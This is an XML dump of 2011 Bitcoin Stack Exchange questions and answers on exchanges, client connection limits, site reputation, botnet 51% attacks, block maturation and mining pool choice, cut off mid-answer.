  <row Id="1965" PostTypeId="2" ParentId="1960" CreationDate="2011-11-11T07:33:28.183" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MtGox&lt;/a&gt; and &lt;a href=&quot;https://www.tradehill.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TradeHill&lt;/a&gt; usually offer SEPA transfers, but right now they are temporarily closed. MtGox is in the middle of a court case and TradeHill is changing banks (which should be solved in a &lt;a href=&quot;http://tradehillblog.com/2011/10/27/sepa-account-transition-and-general-announcements/&quot; rel=&quot;nofollow noreferrer&quot;&gt;couple of weeks&lt;/a&gt;). Here are some other options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Intersango, like &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1960/is-there-a-bitcoin-exchange-accepting-a-wire-transfer-within-eu/1961#1961&quot;&gt;Gary Rowe wrote&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.cryptoxchange.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CryptoExchange&lt;/a&gt; launched yesterday and they charge a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=51457.msg614442#msg614442&quot; rel=&quot;nofollow noreferrer&quot;&gt;fixed $15&lt;/a&gt; for any transfer regadless of the amount.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitmarket.eu&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitmarket.eu&lt;/a&gt;. This is a peer-to-peer exchange so you must manually contact the seller to make the transfer. It is completely free to use and they have an escrow service in place to prevent fraud.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcoin-otc.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bticoin-otc&lt;/a&gt;. This is not an exchange per se. It is an IRC channel where people trade Bitcoins over the counter. It is a fairly complex system (you must use a GPG key for authentication), but I'm sure you will find reputable people there willing to sell you coins. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1829/how-does-one-use-bitcoin-otc&quot;&gt;this question&lt;/a&gt; for details.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://campbx.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;CampBX&lt;/a&gt; is preparing a service to &lt;a href=&quot;https://campbx.com/faq.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;launch in Q1 2012&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin-central.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Central&lt;/a&gt;. Charges no fees for SEPA deposits, but a withdrawal fee of €15.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-11-23T21:14:01.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1966" PostTypeId="2" ParentId="1903" CreationDate="2011-11-11T19:06:01.670" Score="5" Body="&lt;p&gt;Started a &lt;a href=&quot;https://en.bitcoin.it/wiki/Malware#Mining_malware&quot;&gt;Wiki page on this topic&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I`ve found mentions of 3 different Bitcoin-related malware:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Infostealer.Coinbit - steals wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;DevilRobber Trojan - mines Bitcoins&lt;/li&gt;&#xA;&lt;li&gt;BKDR_BTMINE.DDOS - performs DDoS attacks on miners&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-11T19:06:01.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1967" PostTypeId="1" AcceptedAnswerId="1971" CreationDate="2011-11-11T21:04:15.667" Score="11" ViewCount="1492" Body="&lt;p&gt;The mainline Bitcoin client limits number of outbound connections to 8 however allows up to 125 total connections.  To achieve greater than 8 connections (due to outbound limitation) requires either using uPnp or port forwarding so that the client can accept inbound connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is there a limit of 8 connection and only on outbound connections?  Why not allow the client to create 20 or 125 outbound connections?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2016-12-01T22:42:38.623" Title="Why does the mainline client limit the number of outbound connections to 8?" Tags="|protocol|bitcoin-core|network|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1968" PostTypeId="1" AcceptedAnswerId="1973" CreationDate="2011-11-11T23:07:04.297" Score="7" ViewCount="5788" Body="&lt;p&gt;Is there some trusted website that maintains a list of Bitcoin-related websites and their reputation? For example, if I wanted to check if betsofbitco.in is a legitimate websites (it pays rewards fairly, etc.), where should I turn, asides digging through the forum?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-09-02T21:24:12.687" Title="A list of trusted Bitcoin websites?" Tags="|websites|trust|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1969" PostTypeId="2" ParentId="1967" CreationDate="2011-11-11T23:27:22.240" Score="2" Body="&lt;p&gt;Bitcoin client that accepts inbound connections, lets call it server, can accept a limited number of them. Assuming number of clients is greater then number of servers, if clients have no heavy restrictions on number of outbound connections, then it would overload servers and deny access to blockchain data to some clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate, imagine situation where there is only one server on the network and many bitcoin clients, if clients can reserve as many server connections as they want that would for sure prevent some clients from connecting to the server.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-11-11T23:27:22.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1970" PostTypeId="2" ParentId="1968" CreationDate="2011-11-11T23:30:44.300" Score="1" Body="&lt;p&gt;I guess the first go-to-site is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;wiki page on bitcoin.it&lt;/a&gt;, which is linked from the bitcoin.org front page. Of course, it does not guarantee for anyone (they have the following disclaimer: &quot;it still remains up to you to decide whether you trust the service provider or not&quot;), but I would hope that really fishy sites do not make it on the list (or at least do not stay there very long).&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-11-11T23:30:44.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1971" PostTypeId="2" ParentId="1967" CreationDate="2011-11-12T01:22:47.323" Score="8" Body="&lt;p&gt;This is a legacy issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the network was first implemented, there was a severe shortage of servers that could reliably accept inbound connections. Many people started running the client behind NAT and they could not accept any inbound connections. Meanwhile, they were consuming the available inbound connection capacity of the more limited number of machines that could accept them. The client now enables uPNP traversal by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, there were problems with the client code that caused it not to be able to support as many connections as it should have been able to. Many nodes could not even support the default 125 connections, even though their CPU and network usage was nowhere near maxed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days, it's just kind of stuck. My 'hub mode' patches make it easily possible for clients to support 1,500 connections. But they almost never see more than 200 clients because the network capacity limitations are long gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a healthy number of outbound connections because a malicious adversary can consume all your inbound connection slots by repeatedly connecting to you, and staying connected, from a variety of IP addresses. The Bitcoin client actually has code to try to get IP diversity in its outbound connections to protect against some entity creating a million servers and having a high chance of getting all 8 of your outbound slots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're paranoid, turn this up. You can still configure for 32 outbound connections if you can also add at least 64 inbound connection slots in exchange. You'll be helping the network. You can use my hub mode patches to do this.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-12T01:22:47.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1972" PostTypeId="2" ParentId="1968" CreationDate="2011-11-12T02:44:00.530" Score="1" Body="&lt;p&gt;I started the &lt;a href=&quot;http://www.thebitcointrader.com/p/bitcoin-better-business-bureau.html&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Better Business Bureau&lt;/a&gt; (BBBB) to maintain a list of sites of good reputation within the community.  Users can also leave complaints about sites so that others can see if they have a history of indiscretion.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-11-12T02:44:00.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1973" PostTypeId="2" ParentId="1968" CreationDate="2011-11-12T03:53:03.567" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.thebitcoinreview.com/&quot; rel=&quot;nofollow&quot;&gt;TheBitcoinReview&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site has what you are looking for, but it is a new site and doesn't have a ton of reviews. You can help the website by posting a review for a Bitcoin business you have tried.&lt;/p&gt;&#xA;" OwnerUserId="679" LastEditorUserId="85" LastEditDate="2011-11-12T06:15:28.847" LastActivityDate="2011-11-12T06:15:28.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1974" PostTypeId="2" ParentId="1958" CreationDate="2011-11-12T04:14:58.623" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.thebitcoinreview.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.thebitcoinreview.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look at the Commerce and community setction for a complete list of these types of sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once you found the site you like best consider posting a review on &lt;a href=&quot;http://www.thebitcoinreview.com/index.php&quot; rel=&quot;nofollow&quot;&gt;TheBitcoinReview.com&lt;/a&gt; to help us weed out the good sites from the bad&lt;/p&gt;&#xA;" OwnerUserId="679" LastActivityDate="2011-11-12T04:14:58.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1975" PostTypeId="1" AcceptedAnswerId="1976" CreationDate="2011-11-12T11:11:00.760" Score="8" ViewCount="617" Body="&lt;p&gt;The &quot;owners&quot; of botnets probably runs them as businesses, meaning that they will always seek profit-optimization. Do you believe that it is a matter of time before they will seek to launch and sustain a 51% attack on Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one were to achieve a 51% attack, one would probably not get any significant amount of Bitcoins exchanged into ordinary currencies, before the value of Bitcoins would plummet. Also, I believe that at the moment, there are too few merchants that accept Bitcoins, so one would not be able to order anything of significant value before merchants would react to the fraud. Do you believe that the reason why botnets have not attacked Bitcoin, is that they would not have enough to gain, or is it because they do not have enough hashing power?&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="5406" LastEditDate="2015-06-09T23:05:28.083" LastActivityDate="2015-06-09T23:05:28.083" Title="Would any of the current botnets be able to launch and sustain a 51% attack?" Tags="|attack|majority-attack|botnets|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1976" PostTypeId="2" ParentId="1975" CreationDate="2011-11-12T14:29:18.093" Score="6" Body="&lt;p&gt;If you want to profit from Bitcoins, you would not want to work against it (as was explained by Satoshi in his original paper). A 51% attack would not bring you profit, rather it would make everyone involved in the project loose, as Bitcoin's reputation would be damaged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing is getting enough hashing power. Unless you target mining-specific machines, chances of getting higher-end mining-compatible graphics cards isn't too high. So the trojan would have to rely on getting a lot of moderately powered PCs, and in order to launch a 51% attack, the botnet would have to be quite big. &lt;a href=&quot;http://www.darkreading.com/security/application-security/208808174/the-world-s-biggest-botnets.html&quot; rel=&quot;nofollow&quot;&gt;The biggest botnets&lt;/a&gt;, consisting of over 100'000 computers could potentially accomplish this, but so far Bitcoin isn't a prime target for botnet activity.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-11-13T11:43:49.550" LastActivityDate="2011-11-13T11:43:49.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1977" PostTypeId="2" ParentId="1975" CreationDate="2011-11-12T17:03:59.870" Score="3" Body="&lt;p&gt;In order to control 50% of the network assuming your introducing new hashing power you would need to match the current network hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example if the current network hash rate is 8GH/s the botnet would need to be able to at least match this number. Assuming a PC with a gpu can mine at a rate of 200Mh/s your looking at 40,000 computers. As not every machine has a suitable ATI graphics card it likely at lot of machines would only be able to cpu mine. For cpu mining at a rate of around 20MH/s your looking at 400,000 PC's - I don't think any botnets exist this size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously botnet owners do not need to worry about electricity costs so whether it is profitable for them depends on the opportunity cost of other forgoing normal operation.  &lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2011-11-12T17:03:59.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1978" PostTypeId="2" ParentId="1975" CreationDate="2011-11-13T02:56:43.807" Score="4" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The greatest element of security has come from the rise of specialized equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets look at it in abstract form. If attackers and defenders have equivalent hardware then it becomes a numbers game.  To &quot;block&quot; 100K attackers would require 100K defenders.  Since botnets can be very large this is a dangerous dynamic.  If the defenders are 5x as powerful then it only takes 20K defenders to hold off 100K attackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;High end GPU are relatively rare in computing world and even more rare among botnet victims.  A top of the line CPU can achieve 20MH/s while a top of the line GPU can achieve 800MH/s.  That isn't a 5x multiplier but a 40x multiplier.  Botnet nodes tend to be older systems with variety of CPU some far less capable than 20MH/s.  Even a few year old CPU is much less capable.  A Pentium IV for example only achieves 1 MH/s.  It takes 800x Pentiums IV CPU to achieve the same hashing power as a single HD 6990.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So specialization has given the Bitcoin network a huge advantage over attackers.  If we assume the average botnet CPU is capable of only 5 MH/s then to achieve 8TH/s of power would require 1.6 million botnet nodes.  The rise of FPGA in time will make the Bitcoin network even more efficient giving defenders an even larger advantage over the average botnet node.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-13T16:31:51.337" LastActivityDate="2011-11-13T16:31:51.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1979" PostTypeId="2" ParentId="1975" CreationDate="2011-11-13T05:26:33.717" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1975/would-any-of-the-the-current-botnets-be-able-to-launch-and-sustain-a-51-attack/1978#1978&quot;&gt;DeathAndTaxes' answer&lt;/a&gt; covers the main point:   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Botnets are composed of computers with a wide range of hardware&#xA;  (mostly medium/low end) and you need very specific high end hardware to&#xA;  efficiently mine bitcoins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I just want to add a few things about botnets. The largest botnets are estimated to have more than &lt;a href=&quot;http://en.wikipedia.org/wiki/Botnet#Historical_list_of_botnets&quot; rel=&quot;nofollow noreferrer&quot;&gt;1 million computers&lt;/a&gt;. So while the math makes an attack theoretically possible right now, in practice this is highly unlikely to happen. Here are a few reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Nodes are not constantly up. A botnet with millions of infected computers has a percentage of offline nodes because most people do not leave the computer up all the time&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sustaining a 51% attack with a botnet is hard because people would notice the increase in CPU/GPU activity and would most likely shutdown their computer and investigate the problem&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Botnets work because people don't know that their computer is infected. Launching an attack like this would make people run anti-virus scans to find out what is causing the heat and the noise. A botnet owner can make thousands of dollars with stolen credit card data and DDoS attacks. They will not risk losing that just to launch an attack like this. It is not worth it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-11-13T05:26:33.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1980" PostTypeId="2" ParentId="1968" CreationDate="2011-11-13T08:46:50.380" Score="3" Body="&lt;p&gt;there is no list of bitcoin trusted websites, but you can check some things  to have a good idea of the trust you can give to a website : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;check the whois :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;anonymous whois ( domainsbyproxy or other ) : -1 &lt;/li&gt;&#xA;&lt;li&gt;recent website ( created 1 or 2 months ago ) : -1 &lt;/li&gt;&#xA;&lt;li&gt;old and known website : +1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;check the bitcoinpolice website ( bitcoin.crimeunit.net/wiki/index.php ) there could be a report here ( bitcoin.crimeunit.net/wiki/index.php/MyBitcoin as an example )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you can use IRC, come ask on #bitcoin-otc and #bitcoin-police IRC channels on freenode IRC server&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoin-otc is a p2p bitcoin exchange, building a reputation system ( wiki.bitcoin-otc.com/wiki/OTC_Rating_System ) , if a website is operated by an old and trusted otc member ( example of old trusted user :  bitcoin-otc.com/viewratingdetail.php?nick=ne0futur ) you can probably trust the website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;help us making it better, report any problem to the bitcoin-police&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastActivityDate="2011-11-13T08:46:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1981" PostTypeId="1" AcceptedAnswerId="1982" CreationDate="2011-11-13T12:56:14.407" Score="8" ViewCount="1463" Body="&lt;p&gt;Is there a site that shows what's the average transaction fee payed in the last X blocks? Or just raw data about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked &lt;a href=&quot;http://blockexplorer.com/&quot;&gt;BlockExplorer&lt;/a&gt; and &lt;a href=&quot;http://blockexplorer.sytes.net/chain/Bitcoin&quot;&gt;Sytes&lt;/a&gt; and they don't seem to show this information.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-11-13T13:01:12.113" Title="Where can I see the average transaction fee payed in the last 100 blocks?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1982" PostTypeId="2" ParentId="1981" CreationDate="2011-11-13T13:01:12.113" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/&quot;&gt;Blockchain.info&lt;/a&gt; shows the amount of fees &lt;a href=&quot;http://blockchain.info/charts/transaction-fees&quot;&gt;payed each day&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-11-13T13:01:12.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1983" PostTypeId="2" ParentId="1953" CreationDate="2011-11-13T13:18:39.397" Score="4" Body="&lt;p&gt;I believe the Swedish government would be less likely to crack down on Bitcoins. I believe they have a political party called the &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Pirate_Party_%28Sweden%29&quot; rel=&quot;nofollow&quot;&gt;Pirate Party&lt;/a&gt;&quot;, which as far as I know, got elected as a reaction to the crackdown on Pirate Bay. I would love for someone to comment, in order to confirm this.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="196" LastEditDate="2012-08-03T16:39:47.713" LastActivityDate="2012-08-03T16:39:47.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1984" PostTypeId="2" ParentId="1956" CreationDate="2011-11-13T17:25:14.957" Score="5" Body="&lt;p&gt;&lt;em&gt;Bitcoin core executables (bitcoin-qt and bitcoind) cannot even attempt to mine real Bitcoin since 2016. At &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7507&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/pull/7507&lt;/a&gt;&#xA;we can read&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;This code removes the internal miner which is only useful on Testnet.&#xA;This leaves the internal miner that is useful on RegTest intact.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;With &lt;code&gt;-gen=1&lt;/code&gt; on the command line or in the configuration file, &lt;em&gt;in conjunction with &lt;code&gt;regtest=1&lt;/code&gt;&lt;/em&gt; &lt;code&gt;bitcoind&lt;/code&gt; will use its built-in miner to search for blocks &lt;em&gt;in the regtest network&lt;/em&gt;. It is inefficient, does not support pools, and does not use GPUs. It is only left as a reference and for testing, and &lt;em&gt;has been&lt;/em&gt; removed &lt;em&gt;from mainnet&lt;/em&gt; completely.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="13866" LastEditDate="2023-11-11T09:15:35.250" LastActivityDate="2023-11-11T09:15:35.250" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1986" PostTypeId="1" CreationDate="2011-11-14T03:42:50.220" Score="5" ViewCount="224" Body="&lt;p&gt;I would like to know if this will be possible with Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a key with the following features:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Only be able to spend btc if a % of pre-definied keys allow it&lt;/li&gt;&#xA;&lt;li&gt;The own of the key need for example 80% acceptance from pre-definied keys to be able to spend btc (same process to each transaction)&lt;/li&gt;&#xA;&lt;li&gt;If 80% is not reached, nothing happens&lt;/li&gt;&#xA;&lt;li&gt;Specify a time to people (pre-definied keys) vote agree or deny&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="276" LastActivityDate="2011-11-14T08:05:42.843" Title="Contracts: Will this be possible?" Tags="|contracts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1987" PostTypeId="1" AcceptedAnswerId="1990" CreationDate="2011-11-14T08:05:16.363" Score="5" ViewCount="3125" Body="&lt;p&gt;How can I verify that the Bitcoin client is well connected to the network and is able to receive incoming connections?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-07-04T06:15:05.980" Title="Does my client accept inbound connections?" Tags="|bitcoin-core|network|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1988" PostTypeId="2" ParentId="1986" CreationDate="2011-11-14T08:05:42.843" Score="4" Body="&lt;p&gt;The protocol already supports transactions where x out of y keys need to agree in order to spend the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol will never support transactions that change/expire automatically after some period of time, as this causes problems.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-11-14T08:05:42.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1989" PostTypeId="2" ParentId="1987" CreationDate="2011-11-14T08:32:42.757" Score="1" Body="&lt;p&gt;Just wait 10 minutes or so. If you have more than 8 connections, you are receiving inbound connections.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-14T08:32:42.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1990" PostTypeId="2" ParentId="1987" CreationDate="2011-11-14T10:01:47.080" Score="6" Body="&lt;p&gt;Get your ip from &lt;a href=&quot;http://whatismyipaddress.com/&quot; rel=&quot;noreferrer&quot;&gt;http://whatismyipaddress.com/&lt;/a&gt; and put it in here &lt;a href=&quot;http://www.subnetonline.com/pages/network-tools/online-port-scanner.php&quot; rel=&quot;noreferrer&quot;&gt;http://www.subnetonline.com/pages/network-tools/online-port-scanner.php&lt;/a&gt; with port 8333. If you can accept incoming connections you should see a result similar to below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HIb4d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2011-11-14T12:43:26.163" LastActivityDate="2011-11-14T12:43:26.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1991" PostTypeId="1" AcceptedAnswerId="1992" CreationDate="2011-11-14T10:24:36.913" Score="35" ViewCount="10666" Body="&lt;p&gt;I was reading the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot;&gt;wiki article&lt;/a&gt; about the blockchain and I didn't understand the part in bold:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a block becomes an orphan block, all of its valid transactions&#xA;  are re-added to the pool of queued transactions and will be included&#xA;  in another block. The 50 BTC reward for the orphan block will be lost,&#xA;  which is why a  &lt;strong&gt;network-enforced 100-block maturation time for&#xA;  generations exists.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know the details behind block creation and acceptance, so how does the block maturation time work? Is the block only accepted after a while?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2022-01-06T02:55:25.610" LastActivityDate="2023-11-10T17:07:10.193" Title="What is the block maturation time?" Tags="|blockchain|protocol|coinbase-transaction|immature-coins|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1992" PostTypeId="2" ParentId="1991" CreationDate="2011-11-14T12:00:47.737" Score="41" Body="&lt;p&gt;Generated coins can't be spent until the generation transaction has 101 confirmations. Transactions that try to spend generated coins before this will be rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that sometimes the block chain forks, blocks that were valid become invalid, and the mining reward in those blocks is lost. That's just an unavoidable part of how Bitcoin works, and it can sometimes happen even when there is no one attacking the network. If there was no maturation time, then whenever a fork happened, everyone who received coins that were generated on an unlucky fork (possibly through many intermediaries) would have their coins disappear, even without any sort of double-spend or other attack. On long forks, thousands of people could find coins disappearing from their wallets, even though there is no one actually attacking them and they had no reason to be suspicious of the money they were receiving. For example, without a maturation time, a miner might deposit 25 BTC into an EWallet, and if I withdraw money from a completely unrelated account on the same EWallet, my withdrawn money might just disappear if there is a fork and I'm unlucky enough to withdraw coins that have been &quot;tainted&quot; by the miner's now-invalid coins. Due to the way this sort of taint tends to &quot;infect&quot; transactions, far more than 25 BTC per block would be affected. Each invalidated block could cause transactions collectively worth hundreds of bitcoins to be reversed. The maturation time makes it impossible for anyone to lose coins by accident like this as long as a fork doesn't last longer than 100 blocks. If a fork does last longer than 100 blocks, then the damage caused by invalidated transactions would likely be a huge disaster. (However, something else would have to be seriously wrong with Bitcoin or the Internet for a fork to last this long.)&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-11-29T01:35:35.673" LastActivityDate="2014-11-29T01:35:35.673" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1993" PostTypeId="1" AcceptedAnswerId="1994" CreationDate="2011-11-14T12:16:36.563" Score="10" ViewCount="13655" Body="&lt;p&gt;Say I have a moderate amount of hashing power and I want to maximize my profit by using the pool that would give the best rewards for mining with them, what should I look at when choosing a pool?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-01-20T21:03:00.077" LastActivityDate="2016-01-20T21:03:00.077" Title="How to choose the most profitable pool?" Tags="|mining-pools|mining-profitability|pool-payout-methods|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1994" PostTypeId="2" ParentId="1993" CreationDate="2011-11-14T17:39:43.773" Score="13" Body="&lt;p&gt;Mining is a zero sum game so pool size has no effect other than to reduce variance not average payout.  Your goal would be to acheive 100% of fair value per share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some factors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inclusion of block fees.  While small pools which keep block fees&#xA;result in lower payout than solo mining.&lt;/li&gt;&#xA;&lt;li&gt;Merged mining.  Currently adds a roughly 5% bonus relative to BTC only mining.&lt;/li&gt;&#xA;&lt;li&gt;Hop proof &lt;a href=&quot;https://bitcoin.stackexchange.com/a/375/5851&quot;&gt;reward algorithm&lt;/a&gt;.  Proportional pools are vulnerable to pool hopping.  As mining is a zero sum game anything pool hopper's gain 24/7 miners lose.&lt;/li&gt;&#xA;&lt;li&gt;Pool fees.  Any fee paid to pool reduces revenue per share relative to solo mining.&lt;/li&gt;&#xA;&lt;li&gt;Pool efficiency.  This one is tough because pool source code is often closed source.  If pool has a bug which results in extra 1% stale shares then that in effect is a 1% hidden fee.&lt;/li&gt;&#xA;&lt;li&gt;Pool uptime.  A pool with 0.5% downtime is in effect costing you a 0.5% fee.  This can be partially mitigated by using miner which supports backup server.&lt;/li&gt;&#xA;&lt;li&gt;Pool latency.  The slower communication is between you and pool&#xA;server the greater percentage of shares which will be lost as stale&#xA;in a block change.  Part of this is due to server resource&#xA;limitations but some of this also comes from geo-location.  If your&#xA;miners are located in China a pool which only has a server on East&#xA;Coast 